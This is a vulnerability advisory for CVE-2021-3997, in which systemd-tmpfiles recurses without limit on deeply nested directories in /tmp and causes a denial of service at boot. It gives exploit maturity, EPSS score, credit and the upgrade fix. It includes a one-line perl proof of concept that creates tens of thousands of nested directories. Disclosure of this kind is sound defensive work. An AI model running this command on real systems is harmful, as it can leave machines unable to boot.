Uncontrolled Recursion Affecting systemd/systemd package, versions [,251-rc1)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.06% (25th
percentile)
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Test your applications- Snyk ID SNYK-UNMANAGED-SYSTEMDSYSTEMD-2990192
- published 24 Aug 2022
- disclosed 24 Aug 2022
- credit Qualys Research Labs
Introduced: 24 Aug 2022
CVE-2021-3997 Open this link in a new tabHow to fix?
Upgrade systemd/systemd to version 251-rc1 or higher.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via the systemd-tmpfiles component, leading to a denial of service at boot time when too many nested directories are created in /tmp.
PoC:
bash $ cd /tmp $ perl -e 'use strict; for (my $i = 0; $i < (1<<15); $i++) { mkdir "A", 0700 or die; chdir "A" or die; }'
CVSS Scores
version 3.1